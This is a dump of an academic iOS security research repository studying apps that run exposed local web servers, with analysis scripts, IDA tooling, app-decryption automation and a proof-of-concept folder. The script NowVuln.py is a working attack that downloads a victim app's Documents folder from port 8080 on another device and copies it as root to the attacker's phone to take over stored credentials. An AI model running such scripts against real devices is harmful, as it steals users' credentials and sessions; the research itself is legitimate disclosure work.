├── PoC ├── weblink-gohome.pcap ├── weblink-gowork.pcap ├── weblink-gohome-again.pcap ├── NowVuln.py ├── waze_vuln.py └── QQBrowserVuln.py ├── Dynamic analysis ├── MobileSubstrate Tweak │ └── binddetours │ │ ├── binddetours.plist │ │ ├── control │ │ ├── binddetours.plist.bak │ │ ├── Makefile │ │ └── Tweak.xm └── top 1300 analysis result │ ├── Can not test.xlsx │ ├── top200free_china_2018.5.8.xlsx │ ├── top20free_america_2018.5.8.xlsx │ └── top20free_china_2018.5.8 (3).xlsx ├── Data analysis ├── table sheet of network service libraries.xlsx ├── call stack analysis │ ├── ratio.py │ └── log_process.py └── tablesheetandgraph_library_raw_data.py ├── Crawl&Decrypt ├── readme.md └── state-of-art-tool │ ├── requirements.txt │ ├── get_top20_id.py │ ├── process.sh │ ├── auto-proc.py │ ├── dump.py │ └── dump.js ├── GCDWebServerStud ├── cautious_to_run.py ├── IDA_IDC_Script.py ├── log_processor.py ├── mongodata-survey_GCDWebServer.py ├── IDA_parse.py └── GCDWebServer_Analysis.idc ├── Misc └── ObfsStud │ ├── obfuscate_show_statics.py │ ├── get5000apps.py │ ├── obfuscate_nostril.py │ └── class_dump.py ├── README.md └── Static analysis ├── test case ├── Property │ └── AppDelegate.m ├── Method abstraction │ └── AppDelegate.m ├── KVC │ └── AppDelegate.m ├── Concurrency │ └── AppDelegate.m ├── Blocks │ └── AppDelegate.m ├── Delegate-1 │ └── AppDelegate.m ├── Super invocation │ └── AppDelegate.m ├── Category │ └── AppDelegate.m ├── Delegate-2 │ └── AppDelegate.m ├── Inheritance-2 │ └── AppDelegate.m ├── OOP │ └── AppDelegate.m ├── Inheritance-1 │ └── AppDelegate.m └── Operation Queues │ └── AppDelegate.m └── IDAPython └── build_call_hierarchy.py /PoC/weblink-gohome.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiOS-Submission/SiOS/HEAD/PoC/weblink-gohome.pcap -------------------------------------------------------------------------------- /PoC/weblink-gowork.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiOS-Submission/SiOS/HEAD/PoC/weblink-gowork.pcap -------------------------------------------------------------------------------- /PoC/weblink-gohome-again.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiOS-Submission/SiOS/HEAD/PoC/weblink-gohome-again.pcap -------------------------------------------------------------------------------- /Dynamic analysis/MobileSubstrate Tweak/binddetours/binddetours.plist: -------------------------------------------------------------------------------- 1 | { Filter = { Bundles = ( "com.apple.Security" ); }; } 2 | -------------------------------------------------------------------------------- /Data analysis/table sheet of network service libraries.xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiOS-Submission/SiOS/HEAD/Data analysis/table sheet of network service libraries.xlsx -------------------------------------------------------------------------------- /Dynamic analysis/top 1300 analysis result/Can not test.xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiOS-Submission/SiOS/HEAD/Dynamic analysis/top 1300 analysis result/Can not test.xlsx -------------------------------------------------------------------------------- /Crawl&Decrypt/readme.md: -------------------------------------------------------------------------------- 1 | This is an automation of the state-of-art tool ideviceinstaller and frida-dump. 2 | 3 | The crawler and decryptor will be released if we get licence. 4 | 5 | -------------------------------------------------------------------------------- /Dynamic analysis/top 1300 analysis result/top200free_china_2018.5.8.xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiOS-Submission/SiOS/HEAD/Dynamic analysis/top 1300 analysis result/top200free_china_2018.5.8.xlsx -------------------------------------------------------------------------------- /Dynamic analysis/top 1300 analysis result/top20free_america_2018.5.8.xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiOS-Submission/SiOS/HEAD/Dynamic analysis/top 1300 analysis result/top20free_america_2018.5.8.xlsx -------------------------------------------------------------------------------- /Dynamic analysis/top 1300 analysis result/top20free_china_2018.5.8 (3).xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiOS-Submission/SiOS/HEAD/Dynamic analysis/top 1300 analysis result/top20free_china_2018.5.8 (3).xlsx -------------------------------------------------------------------------------- /Crawl&Decrypt/state-of-art-tool/requirements.txt: -------------------------------------------------------------------------------- 1 | asn1crypto 2 | bcrypt 3 | cffi 4 | colorama 5 | cryptography 6 | enum34 7 | frida-tools 8 | idna 9 | ipaddress 10 | paramiko 11 | prompt-toolkit 12 | pyasn1 13 | pycparser 14 | Pygments 15 | PyNaCl 16 | scp 17 | six 18 | tqdm 19 | wcwidth 20 | -------------------------------------------------------------------------------- /Dynamic analysis/MobileSubstrate Tweak/binddetours/control: -------------------------------------------------------------------------------- 1 | Package: com.pangu.binddetours 2 | Name: binddetours 3 | Depends: mobilesubstrate 4 | Version: 0.0.1 5 | Architecture: iphoneos-arm 6 | Description: An awesome MobileSubstrate tweak! 7 | Maintainer: demo 8 | Author: demo 9 | Section: Tweaks 10 | -------------------------------------------------------------------------------- /Dynamic analysis/MobileSubstrate Tweak/binddetours/binddetours.plist.bak: -------------------------------------------------------------------------------- 1 | { Filter = { Bundles = ( "net.qihoo.browser", "com.tencent.xin", "com.lufax.lujinsuo", "com.ucweb.iphone.lowversion", "com.saurik.Cydia", "com.pangu.bindpoc", "com.teiron.pphelperns", "com.tencent.mttlite", "com.pajk.personaldoctor", "com.pinganfu.yqb.youqian" ); }; } 2 | -------------------------------------------------------------------------------- /Dynamic analysis/MobileSubstrate Tweak/binddetours/Makefile: -------------------------------------------------------------------------------- 1 | include $(THEOS)/makefiles/common.mk 2 | 3 | //THEOS_DEVICE_IP = 192.168.30.154 4 | //THEOS_DEVICE_IP = 192.168.30.103 5 | THEOS_DEVICE_IP = 192.168.30.177 6 | //THEOS_DEVICE_IP = 192.168.1.12 7 | 8 | ARCHS = armv7 armv7s arm64 9 | TARGET = iphone:clang:10.3:7.0 10 | 11 | TWEAK_NAME = binddetours 12 | binddetours_FILES = Tweak.xm 13 | 14 | include $(THEOS_MAKE_PATH)/tweak.mk 15 | 16 | after-install:: 17 | install.exec "killall -9 SpringBoard" 18 | -------------------------------------------------------------------------------- /GCDWebServerStud/cautious_to_run.py: -------------------------------------------------------------------------------- 1 | #coding:utf8 2 | 3 | import sys 4 | import os 5 | import re 6 | import json 7 | import zipfile 8 | import string 9 | from biplist import readPlist 10 | from subprocess import Popen, PIPE 11 | import multiprocessing 12 | import time 13 | 14 | ipa_db_path = "/Volumes/Elements/GCDWebServerStud/bin/" 15 | 16 | def main(): 17 | 18 | for dirpaths, dirnames, ifilenames in os.walk(ipa_db_path): 19 | for ifilename in ifilenames: 20 | ipa_db_file = os.path.join(dirpaths, ifilename) 21 | if ipa_db_file.endswith(".i64") != True: 22 | print ipa_db_file 23 | os.system("rm \"{}\"".format(ipa_db_file)) 24 | #time.sleep(1) 25 | #print ipa_db_file 26 | #print dirpath[len(ipa_db_path):] 27 | # print("\"/Applications/IDA Pro 7.0/ida.app/Contents/MacOS/ida64\" -A -S\"{} {}\" {}".format(script_path, ifilename[:len(ifilename) - 4], ipa_db_file)) 28 | return 29 | 30 | if __name__ == '__main__': 31 | main() 32 | -------------------------------------------------------------------------------- /Misc/ObfsStud/obfuscate_show_statics.py: -------------------------------------------------------------------------------- 1 | #coding:utf8 2 | 3 | from pymongo import MongoClient 4 | import sys 5 | import os 6 | import re 7 | import json 8 | import numpy as np 9 | import matplotlib.pyplot as plt 10 | 11 | 12 | def main(): 13 | 14 | file = open('res.json', 'r') 15 | info = json.load(file) 16 | c = 0 17 | for k in info.keys(): 18 | if info[k] < 0.99: 19 | c += 1 20 | print("{}: {}".format(k, info[k])) 21 | print(c) 22 | 23 | #return; 24 | 25 | X = [0.90,0.91,0.92,0.93,0.94,0.95,0.96,0.97,0.98,0.99,1.0] 26 | 27 | Y = [0]*11 28 | for k in info.keys(): 29 | Y[int(info[k]*100-90)] += 1 30 | 31 | fig = plt.figure() 32 | plt.bar(X,Y,0.001,color="green") 33 | plt.xlabel("Percentage of meaningful method in symbol table") 34 | plt.ylabel("# apps") 35 | plt.title("Meaningful symbol table") 36 | 37 | xray = 0.9 38 | for tmp in Y: 39 | plt.text(xray, tmp + 100, str(tmp), fontsize = 10, rotation = 45) 40 | xray = xray + 0.01 41 | #xray = xray + 0.001 42 | 43 | plt.show() 44 | plt.savefig("barChart.jpg") 45 | # python3 obfuscate_static.py symbol symbol_table.json 46 | # python3 obfuscate_static.py string string_table.json 47 | 48 | if __name__ == '__main__': 49 | main() -------------------------------------------------------------------------------- /Crawl&Decrypt/state-of-art-tool/get_top20_id.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | from objc import nil 4 | 5 | 6 | # test procedure 7 | # 1. get 8 | 9 | ''' 10 | https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2 11 | https://affiliate.itunes.apple.com/resources/documentation/itunes-store-web-service-search-api/ 12 | "trackId":535886823 13 | 14 | https://itunes.apple.com/search?term=productivity&country=us&media=software&limit=20 15 | https://itunes.apple.com/search?term=报刊杂志&country=cn&media=software&limit=20 16 | 17 | 18 | ''' 19 | 20 | import requests 21 | import base64 22 | import sys 23 | import re 24 | import json 25 | 26 | reload(sys) 27 | sys.setdefaultencoding('utf8') 28 | 29 | #https://apps.apple.com/cn/genre/ios-%E5%9B%BE%E4%B9%A6/id6018 30 | cats = [u"图书", u"商务", u"商品指南", u"教育", u"娱乐", u"财务", u"美食佳饮", u"游戏", u"健康健美", u"生活", u"报刊杂志", u"医疗", u"音乐", u"导航", u"新闻", u"摄影与录像", u"效率", u"参考", u"购物", u"社交", u"体育", u"贴纸", u"旅游", u"工具", u"天气"] 31 | 32 | 33 | if __name__ == '__main__': 34 | 35 | print "-= start =- " 36 | 37 | id_collection = set() 38 | 39 | for cat in cats: 40 | try: 41 | r = requests.get("https://itunes.apple.com/search?term={}&country=cn&media=software&limit=20".format(cat)) 42 | # print r.text 43 | r_json = json.loads(r.text) 44 | for i in r_json["results"]: 45 | # if i["trackId"] in id_collection: 46 | # print "== %s ==" % i["trackId"] 47 | id_collection.add(i["trackId"]) 48 | except: 49 | #print r 50 | continue 51 | 52 | for i in id_collection: 53 | print i 54 | print "*** total %s categories, %s items ***" % (len(cats), len(id_collection)) 55 | print "-= end =- " 56 | -------------------------------------------------------------------------------- /GCDWebServerStud/IDA_IDC_Script.py: -------------------------------------------------------------------------------- 1 | #coding:utf8 2 | 3 | import sys 4 | import os 5 | import re 6 | import json 7 | import zipfile 8 | import string 9 | from biplist import readPlist 10 | from subprocess import Popen, PIPE 11 | import multiprocessing 12 | import time 13 | 14 | #ipa_db_path = "/Volumes/Elements/GCDWebServerStud/bin/" # add the last slash... 15 | ipa_db_path = "/Users/demo/Desktop/bin/" # add the last slash... 16 | #ipa_db_path = "/Users/demo/Desktop/vetting_ios_app_local_server/code/poc/GCDWebServerStud/testcase/" # add the last slash... 17 | script_path = "/Users/demo/Desktop/vetting_ios_app_local_server/code/poc/GCDWebServerStud/GCDWebServer_Analysis.idc" 18 | 19 | def main(): 20 | 21 | for dirpath, dirnames, ifilenames in os.walk(ipa_db_path): 22 | for ifilename in ifilenames: 23 | ipa_db_file = os.path.join(dirpath, ifilename) 24 | if ipa_db_file.endswith(".i64"): 25 | #time.sleep(1) 26 | print ipa_db_file 27 | #print dirpath[len(ipa_db_path):] 28 | # print("\"/Applications/IDA Pro 7.0/ida.app/Contents/MacOS/ida64\" -A -S\"{} {}\" {}".format(script_path, ifilename[:len(ifilename) - 4], ipa_db_file)) 29 | try: 30 | print("\"/Applications/IDA Pro 7.0/ida.app/Contents/MacOS/ida64\" -A -S\"{} {}\" \"{}\"".format(script_path, dirpath[len(ipa_db_path):], ipa_db_file)) 31 | os.system("\"/Applications/IDA Pro 7.0/ida.app/Contents/MacOS/ida64\" -A -S\"{} {}\" \"{}\"".format(script_path, dirpath[len(ipa_db_path):], ipa_db_file)) 32 | # os.system("\"/Applications/IDA Pro 7.0/ida.app/Contents/MacOS/ida64\" -B \"{}\"".format(binfile)) 33 | except Exception as e: 34 | print(e) 35 | continue 36 | 37 | return 38 | 39 | if __name__ == '__main__': 40 | main() 41 | -------------------------------------------------------------------------------- /Misc/ObfsStud/get5000apps.py: -------------------------------------------------------------------------------- 1 | #coding:utf8 2 | 3 | from pymongo import MongoClient 4 | import sys 5 | import os 6 | import re 7 | import json 8 | 9 | 10 | conn = MongoClient('192.168.10.143', 27017) 11 | db = conn.ios_metedata 12 | ipa_basic_tb = db.basic_info_0521 13 | ipa_symbol_tb = db.symbol_table_0521 14 | ipa_string_tb = db.strings_0521 15 | 16 | # pipe = [ 17 | # {'$match': {'hash': hashsum}}, 18 | # {'$group': {'_id': '$path', 'num': {'$sum': 1}}}, 19 | # ] 20 | # res = list(db.sdk.aggregate(pipeline=pipe)) 21 | 22 | def overlapping_test(): 23 | 24 | print ipa_basic_tb.count() 25 | print len(ipa_basic_tb.distinct("BundleIdentifier")) 26 | return 27 | 28 | def main(): 29 | 30 | c = 0 31 | for t in ipa_basic_tb.find(): 32 | print t["Path"].encode("utf8") 33 | os.system("cp " + '"' + t["Path"].encode("utf8")[0:5] + t["Path"].encode("utf8")[9:] + '"' + " /data/ipa_clawer/exchange/5000/" + t["BundleIdentifier"].encode("utf8") + ".ipa") 34 | c += 1 35 | if c == 5000: 36 | break 37 | # find: GCDWebServer && !CDVWKWebViewEngine && BindToLocalhost 38 | # bundle_gcdwebserver_and_not_ionic_web_view_set_not_bindtolocal = set() 39 | # for b in bundle_gcdwebserver_and_not_ionic_web_view_set: 40 | # if ipa_string_tb.find({"BundleIdentifier": b, "Value": {"$regex":"BindToLocalhost"}}).count() == 0: 41 | # bundle_gcdwebserver_and_not_ionic_web_view_set_not_bindtolocal.add(b) 42 | # 43 | # print len(bundle_gcdwebserver_and_not_ionic_web_view_set_not_bindtolocal) 44 | # print bundle_gcdwebserver_and_not_ionic_web_view_set_not_bindtolocal 45 | 46 | # print len(bundle_ionic_web_view_set - bundle_gcdwebserver_set) 47 | # print bundle_ionic_web_view_set - bundle_gcdwebserver_set 48 | 49 | return 50 | 51 | if __name__ == '__main__': 52 | main() 53 | -------------------------------------------------------------------------------- /PoC/NowVuln.py: -------------------------------------------------------------------------------- 1 | 2 | # -*- coding: utf-8 -*- 3 | import os 4 | import zipfile 5 | import struct 6 | import sys 7 | import time 8 | from subprocess import Popen, PIPE 9 | 10 | 11 | def main(argv): 12 | ip = argv[0] 13 | myip = argv[1] 14 | 15 | print "[*] Retrieving credential from " + ip 16 | p = Popen("wget --recursive http://{}:8080/Documents/".format(ip), stdout = PIPE, stderr = PIPE, shell = True) 17 | stdout, stderr = p.communicate() 18 | 19 | ''' 20 | if stdout.find(signature) != -1: 21 | return True 22 | else: 23 | return False 24 | return 25 | ''' 26 | 27 | print "[*] Sending credential to " + myip 28 | 29 | p = Popen("scp -r ./{}:8080/Documents root@{}:/var/mobile/Containers/Data/Application/C69BC2D3-09ED-4189-BA2D-699B0ECBAE68/".format(ip, myip), stdout = PIPE, stderr = PIPE, shell = True) 30 | stdout, stderr = p.communicate() 31 | 32 | # p = Popen("scp -r ./{}:8080/Library root@{}:/var/mobile/Containers/Data/Application/C69BC2D3-09ED-4189-BA2D-699B0ECBAE68/".format(ip, myip), stdout = PIPE, stderr = PIPE, shell = True) 33 | # stdout, stderr = p.communicate() 34 | # 35 | # p = Popen("scp -r ./{}:8080/tmp root@{}:/var/mobile/Containers/Data/Application/C69BC2D3-09ED-4189-BA2D-699B0ECBAE68/".format(ip, myip), stdout = PIPE, stderr = PIPE, shell = True) 36 | # stdout, stderr = p.communicate() 37 | # 38 | # p = Popen("scp -r ./{}:8080/StoreKit root@{}:/var/mobile/Containers/Data/Application/C69BC2D3-09ED-4189-BA2D-699B0ECBAE68/".format(ip, myip), stdout = PIPE, stderr = PIPE, shell = True) 39 | # stdout, stderr = p.communicate() 40 | 41 | print "[+] Done" 42 | 43 | ''' 44 | 45 | if stdout.find(signature) != -1: 46 | return True 47 | else: 48 | return False 49 | return 50 | ''' 51 | #scp -r /Users/demo/Desktop/now/192.168.30.224:8080/Documents root@192.168.30.177:/var/mobile/Containers/Data/Application/C69BC2D3-09ED-4189-BA2D-699B0ECBAE68/ 52 | 53 | if __name__ == '__main__': 54 | main(sys.argv[1:]) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SiOS 2 | 3 | Dataset and scripts for our paper. 4 | ## Crawl&Decrypt 5 | Automatic the state-of-art tool ideviceinstaller and frida-dump for comparison. 6 | 7 | ## Dynamic analysis/MobileSubstrate Tweak/binddetours: 8 | Dynamic analysis module for analyzing the network service in iOS app on the fly. 9 | ## Dynamic analysis/top 1300 analysis result: 10 | Result of dynamic analysis for top 1300 apps. 11 | 12 | ## Static analysis/IDAPython: 13 | IDA plugins, static analysis module for building call hierarchy and object reference graph. 14 | ## Static analysis/test case: 15 | Objective-C peculiarities, including Blocks, Category, Delegate, etc. 16 | 17 | ## Data analysis/tablesheetandgraph_library_raw_data.py: 18 | Query for official/thrid-party network serivce provider library in our iOS app collection. 19 | ## Data analysis/lib_dist: 20 | Static analysis result of network service library in iOS app. 21 | ## Data analysis/call stack analysis/ 22 | Weighted edit distance script based on result of dynamic analysis result. 23 | 24 | ## GCDWebServerStud: 25 | Static script for analyzing the third-party network service library GCDWebServer. 26 | 27 | ## SiOS/Misc/ObfsStud 28 | A survey on iOS app obfuscation. 29 | 30 | ## PoC (Prove of Concept) 31 | Script for attacking waze, qqbrowser, now, etc. 32 | 33 | ## Our dataflow analyzer includes: 34 | 1. We mitigate original framework to Ubuntu. 35 | 2. We supplement the new ARM instructions to the LLVM based disassembler module Dagger. Moreover, as the IR of a moderate app will always consume gigabytes of memory, some instructions are simplified to shrink the memory usage, such as removing vector, float-point operations. 36 | 3. We model complex objects (eg, NSDictionary) and perform analysis on them. 37 | 4. We convert inter-procedural data-flow analysis to on-demand inter-procedural since the inter-procedural analysis always takes days to analyze a moderate binary. We only analyze the function enclosing the reference to the expected class object name or method name of a third-party library. 38 | 39 | Access the framework via: https://github.com/pwnzen-mobile 40 | -------------------------------------------------------------------------------- /Data analysis/call stack analysis/ratio.py: -------------------------------------------------------------------------------- 1 | import Levenshtein 2 | import simplejson as json 3 | from pathlib import Path 4 | import itertools 5 | 6 | # app1='NOW' 7 | # app2='Fresh EBT' 8 | # print (Path().absolute()) 9 | # path='E:\Desktop\ida\\' 10 | path = str(Path().absolute())+'\\' 11 | filename='\cmt_strs.json' 12 | # filename_rated='\cmt_strs_rated.txt' 13 | 14 | # temp,should load everything only once 15 | # with open(r''+path+app1+filename,'r')as f1: 16 | # d1 = json.load(f1) 17 | # with open(r''+path+app2+filename,'r')as f2: 18 | # d2 = json.load(f2) 19 | 20 | def readfile(app_name): 21 | with open(r''+path+app_name+filename,'r')as f: 22 | return json.load(f) 23 | 24 | def cal(num): 25 | return int(pow(num,2)/10) 26 | 27 | def gen_str(cmt_list,max): 28 | str = '' 29 | d=max-cmt_list[0][0] 30 | for cmt in cmt_list: 31 | # l=cal((d+cmt[0])) 32 | l=(d+cmt[0]) 33 | # print (l) 34 | for i in range (l): 35 | # print (d+cmt[0],cmt[1]) 36 | str=str+cmt[1]+' ' 37 | return str 38 | 39 | def gen_str_raw(cmt_list): 40 | str='' 41 | for cmt in cmt_list: 42 | str=str+cmt[1]+' ' 43 | return str 44 | 45 | def compare_list(list1,list2): 46 | max_index=max(list1[0][0],list2[0][0]) 47 | str1=gen_str_raw(list1) 48 | str2=gen_str_raw(list2) 49 | str1m=gen_str(list1,max_index) 50 | str2m=gen_str(list2,max_index) 51 | # print (str1) 52 | # print (str2) 53 | print ('ratio raw: '+str((Levenshtein.ratio(str1,str2)))) 54 | # print (str1m) 55 | # print (str2m) 56 | print ('ratio multiplied: '+str((Levenshtein.ratio(str1m,str2m)))) 57 | return 58 | 59 | namelist=['QQBrowser','bbtime','Fresh EBT','wzlApp','libby','NOW', 60 | 'Taobao','Tmall','Covet','Dancing Line','QQSports','KuaiBao'] 61 | dict_all={} 62 | for i in namelist: 63 | l=readfile(i) 64 | dict_all[i]=l 65 | # print (dict_all) 66 | ls = itertools.combinations(namelist, 2) 67 | for l in ls: 68 | print(l) 69 | compare_list(dict_all[l[0]],dict_all[l[1]]) 70 | # compare_list(d1,d2) 71 | # print (max_index) 72 | # print (Levenshtein.ratio(l1,l2)) 73 | -------------------------------------------------------------------------------- /Misc/ObfsStud/obfuscate_nostril.py: -------------------------------------------------------------------------------- 1 | #coding:utf8 2 | 3 | from pymongo import MongoClient 4 | import sys 5 | import os 6 | import re 7 | import json 8 | import numpy as np 9 | from nostril import nonsense 10 | #import matplotlib.pyplot as plt 11 | 12 | def main(): 13 | 14 | res = {} 15 | 16 | cdump_path = "/media/tong/Elements/obfs/class-dump" 17 | file_gen = "res.json" 18 | cnt = 0 19 | 20 | for dirpath, dirnames, ifilenames in os.walk(cdump_path): 21 | for ifilename in ifilenames: 22 | file_path = os.path.abspath(os.path.join(dirpath, ifilename)) 23 | # test from file 24 | try: 25 | with open(file_path) as frh: 26 | c_nonsense = 0 27 | c_real = 0 28 | c_total = 0 29 | for s in frh.readlines(): 30 | s = s.strip() 31 | 32 | if s.startswith("-") == False and s.startswith("+") == False : 33 | continue 34 | 35 | try: 36 | if nonsense(s): 37 | c_nonsense += 1 38 | #print(s) 39 | # print(s) 40 | else: 41 | #print(s) 42 | c_real += 1 43 | c_total += 1 44 | except: 45 | pass 46 | # print(c_total) 47 | if c_nonsense + c_real == 0: 48 | continue 49 | else: 50 | res[ifilename] = float(c_real) / (c_nonsense + c_real) 51 | cnt += 1 52 | print("{}: {} {}".format(cnt, ifilename, res[ifilename])) 53 | except: 54 | continue 55 | js_fwh = open(file_gen, 'w', encoding='utf-8') 56 | json.dump(res, js_fwh) 57 | 58 | if __name__ == '__main__': 59 | main() -------------------------------------------------------------------------------- /Crawl&Decrypt/state-of-art-tool/process.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ORIGINAL_IPA_FOLDER="${HOME}/Music/iTunes/iTunes Media/Mobile Applications" 4 | DECRYPTED_IPA_FOLDER="${HOME}/Hacking/Decrypted Apps" 5 | 6 | IOS_DEPLOY="/usr/local/bin/ios-deploy" 7 | PLISTBUDDY="/usr/libexec/PlistBuddy" 8 | FRIDA_DUMP_PY="./dump.py" 9 | # CFBundleIdentifier in Info.plist to uninstall 10 | 11 | ORIGINAL_IPAS=() 12 | while IFS= read -r -d $'\0'; do 13 | ORIGINAL_IPA=$( echo "${REPLY}" ) 14 | ORIGINAL_IPAS+=( "${ORIGINAL_IPA}" ) 15 | done < <(find "${ORIGINAL_IPA_FOLDER}" -type f -name '*.ipa' -print0) 16 | 17 | echo "Decrypting ${#ORIGINAL_IPAS[@]} apps" 18 | APP_COUNTER=0 19 | for ORIGINAL_IPA in "${ORIGINAL_IPAS[@]}"; do 20 | APP_COUNTER=$((APP_COUNTER + 1)) 21 | echo "#### Decryting app number: ${APP_COUNTER}" 22 | APP_BUNDLE_ID="" 23 | ESCAPED_IPA_PATH=$( echo "${ORIGINAL_IPA}" | sed 's/ /\\ /g' | sed 's/&/\\&/g' ) 24 | 25 | IPA_NAME=$( basename "${ESCAPED_IPA_PATH}" ) 26 | 27 | # Make a temp file for the iTunesMetadata.plist 28 | ITUNESMETADATA_TMP_FILE=$( mktemp "/tmp/iTunesMetadata.plist.XXXXXX" ) || exit 1 29 | 30 | # Unzip iTunesMetadata.plist to temp file 31 | UNZIP_CMD="unzip -p ${ESCAPED_IPA_PATH} iTunesMetadata.plist > ${ITUNESMETADATA_TMP_FILE}" 32 | echo "${UNZIP_CMD}" 33 | eval "${UNZIP_CMD}" || exit 1 34 | 35 | # Extract softwareVersionBundleId from plist file 36 | APP_BUNDLE_ID=$( "${PLISTBUDDY}" -c 'Print softwareVersionBundleId' "${ITUNESMETADATA_TMP_FILE}" ) 37 | echo "App bundle identifier: ${APP_BUNDLE_ID}" 38 | rm "${ITUNESMETADATA_TMP_FILE}" 39 | 40 | # Install the app 41 | IOS_DEPLOY_INSTALL="${IOS_DEPLOY} -W --bundle ${ESCAPED_IPA_PATH}" 42 | echo "${IOS_DEPLOY_INSTALL}" 43 | eval "${IOS_DEPLOY_INSTALL}" 44 | 45 | if [ $? -eq 0 ]; then 46 | sleep 1 47 | 48 | echo "Dumping ${APP_BUNDLE_ID}" 49 | FRIDA_DUMP_CMD="${FRIDA_DUMP_PY} --output ${IPA_NAME} ${APP_BUNDLE_ID}" 50 | echo "${FRIDA_DUMP_CMD}" 51 | eval "${FRIDA_DUMP_CMD}" 52 | fi 53 | 54 | # Uninstall the app 55 | IOS_DEPLOY_UNINSTALL="${IOS_DEPLOY} -W --uninstall_only --bundle_id ${APP_BUNDLE_ID}" 56 | echo "${IOS_DEPLOY_UNINSTALL}" 57 | eval "${IOS_DEPLOY_UNINSTALL}" 58 | done -------------------------------------------------------------------------------- /GCDWebServerStud/log_processor.py: -------------------------------------------------------------------------------- 1 | #coding:utf8 2 | 3 | import io 4 | 5 | with io.open("./log.txt", encoding='UTF-8') as f: 6 | lines = f.read().splitlines() 7 | # print (lines) 8 | print (str(len(lines))+' items in total') 9 | names=['DefaultHandlerForMethod', 'DefaultHandlerForMethod_async', 'HandlerForMethod', 'HandlerForMethod_reg', 'startWithOptions', 'BindToLocalhost', 'isObfuscated', 'GCDWebServer', 'GCDWebDAVServer', 'GCDWebUploader'] 10 | dict = { i : set() for i in names + ['isEmpty','isInherited'] } 11 | # print (names,dict) 12 | for i in lines: 13 | l=i.replace(';','').split(' ') 14 | isEmpty=True 15 | for index,j in enumerate (l[1:]): 16 | # print (index,j,dict[names[index]]) 17 | if j.split(':')[1]=='1': 18 | isEmpty=False 19 | # print (isEmpty) 20 | dict[names[index]].add(l[0]) 21 | if j.split(':')[0]!=names[index]: 22 | dict['isInherited'].add(l[0]) 23 | # print (isEmpty) 24 | if isEmpty: 25 | dict['isEmpty'].add(l[0]) 26 | # print(l) 27 | # print (dict) 28 | for k,v in dict.items(): 29 | print("\n#####{}: have {} items #####".format(k,str(len(v)))) 30 | print (v) 31 | 32 | print 715 - len(dict["GCDWebServer"] | dict["GCDWebDAVServer"] | dict["GCDWebUploader"]) 33 | 34 | bind_to_local_host = dict["BindToLocalhost"] 35 | print bind_to_local_host 36 | 37 | isEmpty = dict["isEmpty"] 38 | print isEmpty 39 | print len(isEmpty) 40 | 41 | bind_to_local_host_and_isEmpty = bind_to_local_host | isEmpty 42 | print len(bind_to_local_host_and_isEmpty) 43 | 44 | print len(bind_to_local_host_and_isEmpty & dict["isInherited"]) 45 | 46 | DefaultHandlerForMethod = dict["DefaultHandlerForMethod"] | dict["DefaultHandlerForMethod_async"] 47 | print len(DefaultHandlerForMethod - bind_to_local_host) 48 | 49 | HandlerForMethod = dict["HandlerForMethod"] | dict["HandlerForMethod_reg"] 50 | print len(HandlerForMethod - bind_to_local_host) 51 | 52 | print len((DefaultHandlerForMethod - bind_to_local_host) | (HandlerForMethod - bind_to_local_host)) 53 | 54 | gcd_web_server = dict["GCDWebServer"] 55 | gcd_web_server_and_not_handler = gcd_web_server - DefaultHandlerForMethod - HandlerForMethod - bind_to_local_host 56 | print len(gcd_web_server_and_not_handler) 57 | 58 | gcd_web_uploader = dict["GCDWebUploader"] 59 | print len(gcd_web_uploader - bind_to_local_host) 60 | 61 | gcd_web_dav_server = dict["GCDWebDAVServer"] 62 | print len(gcd_web_dav_server - bind_to_local_host) 63 | 64 | print len(gcd_web_server_and_not_handler | (gcd_web_uploader - bind_to_local_host) | (gcd_web_dav_server - bind_to_local_host)) 65 | -------------------------------------------------------------------------------- /Static analysis/test case/Property/AppDelegate.m: -------------------------------------------------------------------------------- 1 | // 2 | 3 | // main.m 4 | 5 | // demo 6 | 7 | // 8 | 9 | // Created by demo on 2018/1/23. 10 | 11 | // Copyright © 2018 demo. All rights reserved. 12 | 13 | // 14 | 15 | 16 | 17 | #import 18 | 19 | #import "AppDelegate.h" 20 | 21 | 22 | 23 | 24 | 25 | @interface AllWeatherRadial: NSObject 26 | 27 | 28 | 29 | @property float rainHandling; 30 | 31 | @property float snowHandling; 32 | 33 | 34 | 35 | @end 36 | 37 | 38 | 39 | @implementation AllWeatherRadial 40 | 41 | 42 | 43 | @synthesize rainHandling; 44 | 45 | @synthesize snowHandling; 46 | 47 | 48 | 49 | - (id) initWithPressure: (float) p 50 | 51 | treadDepth: (float) td 52 | 53 | { 54 | 55 | if (self = [super init]) { 56 | 57 | rainHandling = 23.7; 58 | 59 | snowHandling = 42.5; 60 | 61 | } 62 | 63 | 64 | 65 | return (self); 66 | 67 | 68 | 69 | } // initWithPressure:treadDepth 70 | 71 | 72 | 73 | @end 74 | 75 | 76 | 77 | int main(int argc, char * argv[]) { 78 | 79 | 80 | 81 | @autoreleasepool { 82 | 83 | AllWeatherRadial *tire; 84 | 85 | 86 | 87 | tire = [[AllWeatherRadial alloc] init]; 88 | 89 | [tire setRainHandling: 20]; 90 | 91 | [tire setSnowHandling: 28]; 92 | 93 | 94 | 95 | tire.rainHandling = 4; 96 | 97 | 98 | 99 | /* 100 | 101 | __text:0000000100006A04 FMOV S0, #4.0 102 | 103 | __text:0000000100006A08 ADRP X8, #selRef_setRainHandling_@PAGE 104 | 105 | __text:0000000100006A0C ADD X8, X8, #selRef_setRainHandling_@PAGEOFF 106 | 107 | __text:0000000100006A10 LDUR X0, [X29,#var_18] 108 | 109 | 110 | __text:0000000100006A14 LDR X1, [X8] ; "setRainHandling:" 111 | 112 | */ 113 | 114 | 115 | 116 | 117 | 118 | float foo = [tire rainHandling]; 119 | 120 | 121 | 122 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); 123 | 124 | } 125 